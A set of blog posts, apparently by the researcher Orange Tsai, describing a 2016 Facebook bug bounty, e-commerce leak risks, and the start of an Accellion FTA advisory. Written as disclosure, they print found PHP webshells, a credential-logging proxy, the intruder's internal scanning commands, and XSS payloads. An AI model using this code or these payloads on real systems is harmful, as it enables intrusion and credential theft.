從這幾台機器大致可以判斷這個網段對於 Facebook 來說應該是相對重要的網段，之後一切的故事就從這裡開始。

弱點發現

在同網段中，發現一台特別的伺服器

files.fb.com

↑ files.fb.com 登入介面

從 LOGO 以及 Footer 判斷應該是 Accellion 的 Secure File Transfer (以下簡稱 FTA)

FTA 為一款標榜安全檔案傳輸的產品，可讓使用者線上分享、同步檔案，並整合 AD, LDAP, Kerberos 等 Single Sign-on 機制，Enterprise 版本更支援 SSL VPN 服務。

首先看到 FTA 的第一件事是去網路上搜尋是否有公開的 Exploit 可以利用，Exploit 最近的是由 HD Moore 發現並發佈在 Rapid7 的這篇 Advisory

Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857)

弱點中可直接從 “/tws/getStatus” 中洩漏的版本資訊判斷是否可利用，在發現 files.fb.com 時版本已從有漏洞的 0.18 升級至 0.20 了，不過就從 Advisory 中所透露的片段程式碼感覺 FTA 的撰寫風格如果再繼續挖掘可能還是會有問題存在的，所以這時的策略便開始往尋找 FTA 產品的 0-Day 前進!

不過從實際黑箱的方式其實找不出什麼問題點只好想辦法將方向轉為白箱測試，透過各種方式拿到舊版的 FTA 原始碼後終於可以開始研究了!

整個 FTA 產品大致架構

網頁端介面主要由 Perl 以及 PHP 構成
PHP 原始碼皆經過 IonCube 加密
在背景跑了許多 Perl 的 Daemon

首先是解密 IonCude 的部分，許多設備為了防止自己的產品被檢視所以會將原始碼加密，不過好在 FTA 上的 IonCude 版本沒到最新，可以使用現成的工具解密，不過由於 PHP 版本的問題，細節部份以及數值運算等可能要靠自己修復一下，不然有點難看…

經過簡單的原始碼審查後發現，好找的弱點應該都被 Rapid7 找走了 T^T
而需要認證才能觸發的漏洞又不怎麼好用，只好認真點往深層一點的地方挖掘!

經過幾天的認真挖掘，最後總共發現了七個弱點，其中包含了

Cross-Site Scripting x 3
Pre-Auth SQL Injection leads to Remote Code Execution
Known-Secret-Key leads to Remote Code Execution
Local Privilege Escalation x 2

除了回報 Facebook 安全團隊外，其餘的弱點也製作成 Advisory 提交 Accellion 技術窗口，經過廠商修補提交 CERT/CC 後取得四個 CVE 編號

CVE-2016-2350
CVE-2016-2351
CVE-2016-2352
CVE-2016-2353

詳細的弱點細節會待 Full Disclosure Policy 後公布!

shell on facebook ↑ 使用 Pre-Auth SQL Injection 寫入 Webshell

在實際滲透中進去伺服器後的第一件事情就是檢視當前的環境是否對自己友善，為了要讓自己可以在伺服器上待的久就要盡可能的了解伺服器上有何限制、紀錄，避開可能會被發現的風險 :P

Facebook 大致有以下限制:

防火牆無法連外, TCP, UDP, 53, 80, 443 皆無法
存在遠端的 Syslog 伺服器
開啟 Auditd 記錄

無法外連看起來有點麻煩，但是 ICMP Tunnel 看似是可行的，但這只是一個 Bug Bounty Program 其實不需要太麻煩就純粹以 Webshell 操作即可。

似乎有點奇怪?

正當收集證據準備回報 Facebook 安全團隊時，從網頁日誌中似乎看到一些奇怪的痕跡。

首先是在 “/var/opt/apache/php_error_log” 中看到一些奇怪的 PHP 錯誤訊息，從錯誤訊息來看似乎像是邊改 Code 邊執行所產生的錯誤?

↑ PHP error log

跟隨錯誤訊息的路徑去看發現疑似前人留下的 Webshell 後門

↑ Webshell on facebook server

其中幾個檔案的內容如下

sshpass

沒錯，就是那個 sshpass

bN3d10Aw.php

<?phpechoshell_exec($_GET['c']);?>

uploader.php

<?phpmove_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>

d.php

<?phpinclude_oncce("/home/seos/courier/remote.inc");echodecrypt($_GET["c"]);?>

sclient_user_class_standard.inc

<?phpinclude_once('sclient_user_class_standard.inc.orig');$fp=fopen("/home/seos/courier/B3dKe9sQaa0L.log","a");$retries=0;$max_retries=100;// 省略...fwrite($fp,date("Y-m-d H:i:s T").";".$_SERVER["REMOTE_ADDR"].";".$_SERVER["HTTP_USER_AGENT"].";POST=".http_build_query($_POST).";GET=".http_build_query($_GET).";COOKIE=".http_build_query($_COOKIE)."\n");// 省略...

前幾個就是很標準的 PHP 一句話木馬
其中比較特別的是 “sclient_user_class_standard.inc” 這個檔案

include_once 中 “sclient_user_class_standard.inc.orig” 為原本對密碼進行驗證的 PHP 程式，駭客做了一個 Proxy 在中間並在進行一些重要操作時先把 GET, POST, COOKIE 的值記錄起來

整理一下，駭客做了一個 Proxy 在密碼驗證的地方，並且記錄 Facebook 員工的帳號密碼，並且將記錄到的密碼放置在 Web 目錄下，駭客每隔一段時間使用 wget 抓取

wget https://files.fb.com/courier/B3dKe9sQaa0L.log

↑ Logged passwords

從紀錄裡面可以看到除了使用者帳號密碼外，還有從 FTA 要求檔案時的信件內容，記錄到的帳號密碼會定時 Rotate (後文會提及，這點還滿機車的XD)

發現當下，最近一次的 Rotate 從 2/1 記錄到 2/7 共約 300 筆帳號密碼紀錄，大多都是 “@fb.com” 或是 “@facebook.com” 的員工帳密，看到當下覺得事情有點嚴重了，在 FTA 中，使用者的登入主要有兩種模式

一般用戶註冊，密碼 Hash 存在資料庫，由 SHA256 + SALT 儲存
Facebook 員工 (@fb.com) 則走統一認證，使用 LDAP 由 AD 認證

在這裡相信記錄到的是真實的員工帳號密碼，**猜測** 這份帳號密碼應該可以通行 Facebook Mail OWA, VPN 等服務做更進一步的滲透…

此外，這名 “駭客” 可能習慣不太好 :P

後門參數皆使用 GET 來傳遞，在網頁日誌可以很明顯的發現他的足跡
駭客在進行一些指令操作時沒顧慮到 STDERR ，導致網頁日誌中很多指令的錯誤訊息，從中可以觀察駭客做了哪些操作

從 access.log 可以觀察到的每隔數日駭客會將記錄到的帳號密碼清空

192.168.54.13--17955[Sat,23Jan201619:04:10+0000|1453575850]"GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '12069238df' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1"2002559...

打包檔案

cat tmp_list3_2 |whileread line;do cp /home/filex2/1000/$line files;done 2>/dev/stdout
tar -czvf files.tar.gz files

對內部網路結構進行探測

dig a archibus.thefacebook.com
telnet archibus.facebook.com 80
curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
dig a records.fb.com
telnet records.fb.com 80
telnet records.fb.com 443
wget -O- -q http://192.168.41.16
dig a acme.facebook.com
./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 2011255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout
...

使用 Shell Script 進行內網掃描但忘記把 STDERR 導掉XD

Port Scanning

嘗試對內部 LDAP 進行連接

sh: -c: line 0: syntax error near unexpected token `('
sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'

嘗試訪問內部網路資源
( 看起來 Mail OWA 可以直接訪問 …)

--20:38:09--  https://mail.thefacebook.com/
Resolving mail.thefacebook.com... 192.168.52.37
Connecting to mail.thefacebook.com|192.168.52.37|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://mail.thefacebook.com/owa/ [following]
--20:38:10--  https://mail.thefacebook.com/owa/
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]
--20:38:10--  https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 200 OK
Length: 8902 (8.7K) [text/html]
Saving to: `STDOUT'

     0K ........                                              100% 1.17G=0s

20:38:10 (1.17 GB/s) - `-' saved [8902/8902]

--20:38:33--  (try:15)  https://10.8.151.47/
Connecting to 10.8.151.47:443... --20:38:51--  https://svn.thefacebook.com/
Resolving svn.thefacebook.com... failed: Name or service not known.
--20:39:03--  https://sb-dev.thefacebook.com/
Resolving sb-dev.thefacebook.com... failed: Name or service not known.
failed: Connection timed out.
Retrying.

嘗試對 SSL Private Key 下手

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
base64: invalid input

從瀏覽器觀察 files.fb.com 的憑證還是 Wildcard 的 *.fb.com …

certificate of files.fb.com

後記

在收集完足夠證據後便立即回報給 Facebook 安全團隊，回報內容除了漏洞細節外，還附上相對應的 Log 、截圖以及時間紀錄xD

從伺服器中的日誌可以發現有兩個時間點是明顯駭客在操作系統的時間，一個是七月初、另個是九月中旬

七月初的動作從紀錄中來看起來比較偏向 “逛” 伺服器，但九月中旬的操作就比較惡意了，除了逛街外，還放置了密碼 Logger 等，至於兩個時間點的 “駭客” 是不是同一個人就不得而知了 :P
而七月發生的時機點正好接近 CVE-2015-2857 Exploit 公佈前，究竟是透過 1-Day 還是無 0-Day 入侵系統也無從得知了。

這件事情就記錄到這裡，總體來說這是一個非常有趣的經歷xD
也讓我有這個機會可以來寫寫關於滲透的一些文章 :P

最後也感謝 Bug Bounty 及胸襟寬闊的 Facebook 安全團隊讓我可以完整記錄這起事件 : )

Timeline

2016/02/05 20:05 提供漏洞詳情給 Facebook 安全團隊
2016/02/05 20:08 收到機器人自動回覆
2016/02/06 05:21 提供弱點 Advisory 給 Accellion 技術窗口
2016/02/06 07:42 收到 Thomas 的回覆，告知調查中
2016/02/13 07:43 收到 Reginaldo 的回覆，告知 Bug Bounty 獎金 $10000 USD
2016/02/13 詢問是否撰寫 Blog 是否有任何要注意的地方?
2016/02/13 詢問此漏洞被認為是 RCE 還是 SQL Injection
2016/02/18 收到 Reginaldo 的回覆，告知正在進行調查中，希望 Blog 先暫時不要發出
2016/02/24 收到 Hai 的回覆，告知獎金將會於三月發送
2016/04/20 收到 Reginaldo 的回覆，告知調查已完成

by Orange Tsai

How I Hacked Facebook, and Found Someone’s Backdoor Script (English Version)
滲透 Facebook 的思路與發現 (中文版本)

Facebook

Foreword

As a pentester, I love server-side vulnerabilities more than client-side ones. Why? Because it’s way much cooler to take over the server directly and gain system SHELL privileges. <(￣︶￣)>

Of course, both vulnerabilities from the server-side and the client-side are indispensable in a perfect penetration test. Sometimes, in order to take over the server more elegantly, it also need some client-side vulnerabilities to do the trick. But speaking of finding vulnerabilities, I prefer to find server-side vulnerabilities first.

With the growing popularity of Facebook around the world, I’ve always been interested in testing the security of Facebook. Luckily, in 2012, Facebook launched the Bug Bounty Program, which even motivated me to give it a shot.

From a pentester’s view, I tend to start from recon and do some research. First, I’ll determine how large is the “territory” of the company on the internet, then…try to find a nice entrance to get in, for example:

What can I find by Google Hacking?
How many B Class IP addresses are used? How many C Class IPs?
Whois? Reverse Whois?
What domain names are used? What are their internal domain names? Then proceed with enumerating sub-domains
What are their preferred techniques and equipment vendors?
Any data breach on Github or Pastebin?
…etc

Of course, Bug Bounty is nothing about firing random attacks without restrictions. By comparing your findings with the permitted actions set forth by Bug Bounty, the overlapping part will be the part worth trying.

Here I’d like to explain some common security problems found in large corporations during pentesting by giving an example.

For most enterprises, “Network Boundary” is a rather difficult part to take care of. When the scale of a company has grown large, there are tens of thousands of routers, servers, computers for the MIS to handle, it’s impossible to build up a perfect mechanism of protection. Security attacks can only be defended with general rules, but a successful attack only needs a tiny weak spot. That’s why luck is often on the attacker’s side: a vulnerable server on the “border” is enough to grant a ticket to the internal network!
Lack of awareness in “Networking Equipment” protection. Most networking equipment doesn’t offer delicate SHELL controls and can only be configured on the user interface. Oftentimes the protection of these devices is built on the Network Layer. However, users might not even notice if these devices were compromised by 0-Day or 1-Day attacks.
Security of people: now we have witnessed the emergence of the “Breached Database” (aka “Social Engineering Database” in China), these leaked data sometimes makes the penetration difficulty incredibly low. Just connect to the breach database, find a user credential with VPN access…then voilà! You can proceed with penetrating the internal network. This is especially true when the scope of the data breach is so huge that the Key Man’s password can be found in the breached data. If this happens, then the security of the victim company will become nothing. :P

For sure, when looking for the vulnerabilities on Facebook, I followed the thinking of the penetration tests which I was used to. When I was doing some recon and research, not only did I look up the domain names of Facebook itself, but also tried Reverse Whois. And to my surprise, I found an INTERESTING domain name:

tfbnw.net

TFBNW seemed to stand for “TheFacebook Network” Then I found bellow server through public data

vpn.tfbnw.net

WOW. When I accessed vpn.tfbnw.net there’s the Juniper SSL VPN login interface. But its version seemed to be quite new and there was no vulnerability can be directly exploited…nevertheless, it brought up the beginning of the following story.

It looked like TFBNW was an internal domain name for Facebook. Let’s try to enumerate the C Class IPs of vpn.tfbnw.net and found some interesting servers, for example:

Mail Server Outlook Web App
F5 BIGIP SSL VPN
CISCO ASA SSL VPN
Oracle E-Business
MobileIron MDM

From the info of these servers, I thought that these C Class IPs were relatively important for Facebook. Now, the whole story officially starts here.

Vulnerability Discovery

I found a special server among these C Class IPs.

files.fb.com

↑ Login Interface of files.fb.com

Judging from the LOGO and Footer, this seems to be Accellion’s Secure File Transfer (hereafter known as FTA)

FTA is a product which enables secure file transfer, online file sharing and syncing, as well as integration with Single Sign-on mechanisms including AD, LDAP and Kerberos. The Enterprise version even supports SSL VPN service.

Upon seeing this, the first thing I did was searching for publicized exploits on the internet. The latest one was found by HD Moore and made public on this Rapid7’s Advisory

Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857)

Whether this vulnerability is exploitable can be determined by the version information leaked from “/tws/getStatus”. At the time I discovered files.fb.com the defective v0.18 has already been updated to v0.20. But from the fragments of source code mentioned in the Advisory, I felt that with such coding style there should still be security issues remained in FTA if I kept looking. Therefore, I began to look for 0-Day vulnerabilities on FTA products!

Actually, from black-box testing, I didn’t find any possible vulnerabilities, and I had to try white-box testing. After gathering the source codes of previous versions FTA from several resources I could finally proceed with my research!

The FTA Product

Web-based user interfaces were mainly composed of Perl & PHP
The PHP source codes were encrypted by IonCube
Lots of Perl Daemons in the background

First I tried to decrypt IonCube encryption. In order to avoid being reviewed by the hackers, a lot of network equipment vendors will encrypt their product source codes. Fortunately, the IonCube version used by FTA was not up to date and could be decrypted with ready-made tools. But I still had to fix some details, or it’s gonna be messy…

After a simple review, I thought Rapid7 should have already got the easier vulnerabilities. T^T
And the vulnerabilities which needed to be triggered were not easy to exploit. Therefore I need to look deeper!

Finally, I found 7 vulnerabilities, including

Cross-Site Scripting x 3
Pre-Auth SQL Injection leads to Remote Code Execution
Known-Secret-Key leads to Remote Code Execution
Local Privilege Escalation x 2

Apart from reporting to Facebook Security Team, other vulnerabilities were submitted to Accellion Support Team in Advisory for their reference. After vendor patched, I also sent these to CERT/CC and they assigned 4 CVEs for these vulnerabilities.

CVE-2016-2350
CVE-2016-2351
CVE-2016-2352
CVE-2016-2353

More details will be published after full disclosure policy!

shell on facebook ↑ Using Pre-Auth SQL Injection to Write Webshell

After taking control of the server successfully, the first thing is to check whether the server environment is friendly to you. To stay on the server longer, you have to be familiar with the environments, restrictions, logs, etc and try hard not to be detected. :P

There are some restrictions on the server:

Firewall outbound connection unavailable, including TCP, UDP, port 53, 80 and 443
Remote Syslog server
Auditd logs enabled

Although the outbound connection was not available, but it looked like ICMP Tunnel was working. Nevertheless, this was only a Bug Bounty Program, we could simply control the server with a webshell.

Was There Something Strange?

While collecting vulnerability details and evidences for reporting to Facebook, I found some strange things on web log.

First of all I found some strange PHP error messages in “/var/opt/apache/php_error_log” These error messages seemed to be caused by modifying codes online?

↑ PHP error log

I followed the PHP paths in error messages and ended up with discovering suspicious WEBSHELL files left by previous “visitors”.

↑ Webshell on facebook server

some contents of the files are as follows:

sshpass

Right, THAT sshpass

bN3d10Aw.php

<?phpechoshell_exec($_GET['c']);?>

uploader.php

<?phpmove_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>

d.php

<?phpinclude_oncce("/home/seos/courier/remote.inc");echodecrypt($_GET["c"]);?>

sclient_user_class_standard.inc

<?phpinclude_once('sclient_user_class_standard.inc.orig');$fp=fopen("/home/seos/courier/B3dKe9sQaa0L.log","a");$retries=0;$max_retries=100;// blah blah blah...fwrite($fp,date("Y-m-d H:i:s T").";".$_SERVER["REMOTE_ADDR"].";".$_SERVER["HTTP_USER_AGENT"].";POST=".http_build_query($_POST).";GET=".http_build_query($_GET).";COOKIE=".http_build_query($_COOKIE)."\n");// blah blah blah...

The first few ones were typical PHP one-line backdoor and there’s one exception: “sclient_user_class_standard.inc”

In include_once “sclient_user_class_standard.inc.orig” was the original PHP app for password verification, and the hacker created a proxy in between to log GET, POST, COOKIE values while some important operations were under way.

A brief summary, the hacker created a proxy on the credential page to log the credentials of Facebook employees. These logged passwords were stored under web directory for the hacker to use WGET every once in a while

wget https://files.fb.com/courier/B3dKe9sQaa0L.log

↑ Logged passwords

From this info we can see that apart from the logged credentials there were also contents of letters requesting files from FTA, and these logged credentials were rotated regularly (this will be mentioned later, that’s kinda cheap…XD)

And at the time I discovered these, there were around 300 logged credentials dated between February 1st to 7th, from February 1st, mostly “@fb.com” and “@facebook.com”. Upon seeing it I thought it’s a pretty serious security incident. In FTA, there were mainly two modes for user login

Regular users sign up: their password hash were stored in the database and hashed encrypted with SHA256+SALT
All Facebook employees (@fb.com) used LDAP and authenticated by AD Server

I believe these logged credentials were real passwords and I **GUESS** they can access to services such as Mail OWA, VPN for advanced penetration…

In addition, this hacker might be careless:P

The backdoor parameters were passed through GET method and his footprinting can be identified easily in from web log
When the hacker was sending out commands, he didn’t take care of STDERR, and left a lot of command error messages in web log which the hacker’s operations could be seen

From access.log, every few days the hacker will clear all the credentials he logged

192.168.54.13--17955[Sat,23Jan201619:04:10+0000|1453575850]"GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '12069238df' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1"2002559...

Packing files

cat tmp_list3_2 |whileread line;do cp /home/filex2/1000/$line files;done 2>/dev/stdout
tar -czvf files.tar.gz files

Enumerating internal network architecture

dig a archibus.thefacebook.com
telnet archibus.facebook.com 80
curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
dig a records.fb.com
telnet records.fb.com 80
telnet records.fb.com 443
wget -O- -q http://192.168.41.16
dig a acme.facebook.com
./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 2011255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout
...

Use ShellScript to scan internal network but forgot to redirect STDERR XD Port Scanning

Attempt to connect internal LDAP server

sh: -c: line 0: syntax error near unexpected token `('
sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'

Attempt to access internal server
(Looked like Mail OWA could be accessed directly…)

--20:38:09--  https://mail.thefacebook.com/
Resolving mail.thefacebook.com... 192.168.52.37
Connecting to mail.thefacebook.com|192.168.52.37|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://mail.thefacebook.com/owa/ [following]
--20:38:10--  https://mail.thefacebook.com/owa/
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]
--20:38:10--  https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 200 OK
Length: 8902 (8.7K) [text/html]
Saving to: `STDOUT'

     0K ........                                              100% 1.17G=0s

20:38:10 (1.17 GB/s) - `-' saved [8902/8902]

--20:38:33--  (try:15)  https://10.8.151.47/
Connecting to 10.8.151.47:443... --20:38:51--  https://svn.thefacebook.com/
Resolving svn.thefacebook.com... failed: Name or service not known.
--20:39:03--  https://sb-dev.thefacebook.com/
Resolving sb-dev.thefacebook.com... failed: Name or service not known.
failed: Connection timed out.
Retrying.

Attempt to steal SSL Private Key

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
base64: invalid input

After checking the browser, the SSL certificate of files.fb.com was *.fb.com …

certificate of files.fb.com

Epilogue

After adequate proofs had been collected, they were immediately reported to Facebook Security Team. Other than vulnerability details accompanying logs, screenshots and timelines were also submitted xD

Also, from the log on the server, there were two periods that the system was obviously operated by the hacker, one in the beginning of July and one in mid-September

the July one seemed to be a server “dorking” and the September one seemed more vicious. Other than server “dorking” keyloggers were also implemented. As for the identities of these two hackers, were they the same person? Your guess is as good as mine. :P
The time July incident happened to take place right before the announcement of CVE-2015-2857 exploit. Whether it was an invasion of 1-day exploitation or unknown 0-day ones were left in question.

Here’s the end of the story, and, generally speaking, it was a rather interesting experience xD
Thanks to this event, it inspired me to write some articles about penetration :P

Last but not least, I would like to thank Bug Bounty and tolerant Facebook Security Team so that I could fully write down this incident : )

Timeline

2016/02/05 20:05 Provide vulnerability details to Facebook Security Team
2016/02/05 20:08 Receive automatic response
2016/02/06 05:21 Submit vulnerability Advisory to Accellion Support Team
2016/02/06 07:42 Receive response from Thomas that inspection is in progress
2016/02/13 07:43 Receive response from Reginaldo about receiving Bug Bounty award $10000 USD
2016/02/13 Asking if there anything I should pay special attention to in blog post ?
2016/02/13 Asking Is this vulnerability be classify as a RCE or SQL Injection ?
2016/02/18 Receive response from Reginaldo about there is a forensics investigation, Would you be able to hold your blog post until this process is complete?
2016/02/24 Receive response from Hai about the bounty will include in March payments cycle.
2016/04/20 Receive response from Reginaldo about the forensics investigation is done

Photo Credit: https://www.flickr.com/photos/zionfiction/7968029824/

台灣電商網站蓬勃發展，豐富的個資、金流都吸引了攻擊者。近期刑事局 165 反詐騙網站上常看到很多電商網站面臨個資外洩的問題，新聞也不斷報導民眾因為個資外洩被詐騙集團騙取錢財。資安問題是電商業者面臨到最大的危機，民眾也很憤怒為什麼這些企業都不肯把資安做好。但我相信，電商網站的業主也是有苦難言。不少企業知道該把資安做好，有些可能不得其法，也可能什麼都做了，卻還是無法防止自己的網站出現在 165 詐騙排行的榜單上。

內政部警政署 165 反詐騙諮詢專線民眾通報高風險賣場排名
http://165.gov.tw/loss_rank.aspx

對於無心於資安的業者來說，被揭露這樣的資訊會有一定程度的力量迫使他們把資安做好。但對於已經顧全資安的業者來說，則是摸不著頭緒到底個資從哪邊外洩的。今天我們就來談談，到底電商網站的資安問題是什麼，民眾的個資又是怎麼外洩的。

電商網站的困境

目前電商網站常見的困境有幾點：

自行開發網站存在漏洞
委外開發網站存在漏洞，但承包商不處理
內部員工電腦遭入侵外洩個資
配合廠商個資外洩，如金流商、物流商
攻擊者用已外洩帳號密碼登入電商網站
買家在詐騙集團的賣場交易

黑色產業的發展比大家想像中都還要盛行，若企業對攻擊者來說有利可圖，駭客組織會不擇手段入侵取得資料。因此對網站本身、網站周遭系統、企業內部員工、或者以社交工程手法，只要能取得資料都會是他們下手的目標。

自行開發網站存在漏洞

這是目前企業最需要先解決的問題。若網站本身資安體質不好，則會輕易被攻擊者入侵。資安問題往往都是企業內部最難解的問題，道高一尺魔高一丈，若沒有經過完整的滲透測試，則難以找出問題的根源。找到了問題之後，開發人員的教育訓練、資安機制、資安設備，都會是企業接下來要面對的課題。

解決方案：滲透測試、資安顧問、教育訓練

委外開發網站存在漏洞，但承包商不處理

不少企業沒有自己開發網站，而是發包給外部廠商開發、維運。承包商的品質通常難以掌控，價格戰的業界生態，更讓開發的品質難以提升。但業者最頭大的是：承包商拒絕處理漏洞。若沒有在一開始的委外合約就明訂資安維護標準，在日後發生資安事件時則難以要求承包商修補漏洞。因此建議業者在日後的委外開發案，明訂資安標準、驗收時檢附第三方滲透測試報告，並且將日後資安維護合約獨立於一般維護約之外，強制執行。

解決方案：選商標準、開標規格、驗收標準、資安維護合約

內部員工電腦遭入侵外洩個資

除了伺服器之外，客戶端也是攻擊者下手的目標。當網站難以被入侵，攻擊者就會轉往員工電腦下手。透過社交工程、搭配惡意郵件等 APT 攻擊，入侵個人電腦後取得消費者個資，甚至做為跳板滲透企業內部擴大攻擊成果。若沒有足夠的資安意識，員工將會是企業最大的資安缺口。

解決方案：強化資安思維、權限最小化、APT 防禦

配合廠商個資外洩，如金流商、物流商

當企業裡裡外外都防禦好了，個資還在外洩，到底發生什麼事情了呢？別忘了一個電商網站有各種與外界橋接的服務，例如交易的金流、運輸的物流。若搭配的外部系統遭到入侵，個資一樣會被取得。但民眾、媒體只會覺得「我在這家電商平台買東西被詐騙」，而怪罪到企業本身。企業有責任要求配合的廠商一同將資安、個資把關好。

解決方案：配合廠商的資安規範、滲透測試

攻擊者用已外洩帳號密碼登入電商網站

資安的責任並不僅在企業，有的時候消費者本身帳號的安全也會影響到電商網站的清譽。目前民眾只要接收到詐騙電話，直覺都會是在某個店家的交易被駭，被取得資料後販售給詐騙集團，因而回報給 165 等反詐騙專線。這種案例也會算在電商網站的帳上，但卻不一定是電商網站的問題。這樣的攻擊手法也俗稱「撞庫」。

解決方案：企業間的聯防、提供使用者帳號保護

買家在詐騙集團的賣場交易

只要有利可圖，詐騙集團就會無所不用其極的想獲取利益。當系統已經達成基本的安全、使用者外洩的帳號也已經無法利用之後，詐騙集團將再攻擊人性的漏洞，開設販賣熱門商品的賣場，吸引無辜的受害者購買。或者在賣場的留言區塊假冒賣家，留下自己的 LINE 與消費者溝通，進行詐騙。

解決方案：消費者安全宣導

電商業者該如何自保？

只要有利益的地方，就會有資安危機。雖說道高一尺魔高一丈，但業者並非只能等著被宰。經營網站最重要的就是保護顧客的資料，明白風險的所在。盤點手上的個資位置、機制、措施，謹慎安排資安規劃，確保將安全的風險降到最低。更進一步也可以建立與資安人員良好的關係，公開漏洞通報管道及獎勵機制，鼓勵資安人員優先通報漏洞給企業，避免流入黑色產業。當然，身為消費者的我們，也應該給予負責的企業掌聲。

在未來我們的文章將提到企業應該採取的具體作為，敬請期待！

By Orange Tsai

English Version (English Version)
中文版本 (中文版本)

Accellion

Accellion FTA 介紹

Accellion File Transfer Appliance (以下簡稱 FTA) 為一款安全檔案傳輸服務，可讓使用者線上分享、同步檔案，且所有檔案皆經 AES 128/256 加密，Enterprise 版本更支援 SSL VPN 服務並整合 AD, LDAP, Kerberos 等 Single Sign-on 機制。

漏洞描述

在研究過程中，於 FTA 版本 FTA_9_12_0 (13-Oct-2015 Release) 上，發現了下列弱點：

Cross-Site Scripting x 3
Pre-Auth SQL Injection leads to Remote Code Execution
Known-Secret-Key leads to Remote Code Execution
Local Privilege Escalation x 2

以上弱點可使不需經過認證的攻擊者，成功遠端攻擊 FTA 伺服器並取得最高權限，當攻擊者完全控制伺服器後，可取得伺服器上的加密檔案與用戶資料等。

弱點經回報 CERT/CC 後取得共四個獨立 CVE 編號 (CVE-2016-2350, CVE-2016-2351, CVE-2016-2352, CVE-2016-2353)。

影響範圍

根據公開資料掃描，全球共發現 1217 台 FTA 存活主機，主要分布地點為美國，其次加拿大、澳洲、英國與新加坡。根據存活主機的域名、SSL Certificate 發現 FTA 使用客戶遍及政府、教育、企業等領域，其中不乏一些知名品牌。

漏洞分析與利用

Multiple Cross-Site Scripting (CVE-2016-2350)

1. XSS in move_partition_frame.html

https://<fta>/courier/move_partition_frame.html
?f2=’-prompt(document.domain);//

2. XSS in getimageajax.php

https://<fta>/courier/web/getimageajax.php
?documentname=”onerror=”prompt(document.domain)//

3. XSS in wmInfo.html

https://<fta>/courier/web/wmInfo.html
?msg=ssologout
&loginurl=”><svg/onload=”prompt(document.domain)

Pre-Auth SQL Injection leads to RCE (CVE-2016-2351)

經過代碼審查後，在 FTA 中發現一個不須驗證的 SQL Injection，這使得惡意使用者可透過 SQL Injection 存取伺服器的敏感檔案及個人資料，並配合權限設定問題導致遠端代碼執行。問題出在 security_key2.api 中所呼叫到的 client_properties( ... )函數中！

/home/seos/courier/security_key2.api

// ...$password=_decrypt($password,_generate_key($g_app_id,$client_id,$g_username));opendb();$client_info=client_properties($client_id)[0];// ...

其中 $g_app_id$g_username$client_id$password皆為攻擊者可控參數，雖然有個 _decrypt( ... )函數對密碼進行處理，但是與弱點觸發並無相關。其中要注意是 $g_app_id的值會被代入成全域變數，代表當前使用的 Application ID，並且在 opendb( )使用，其中在 opendb( )內有以下代碼：

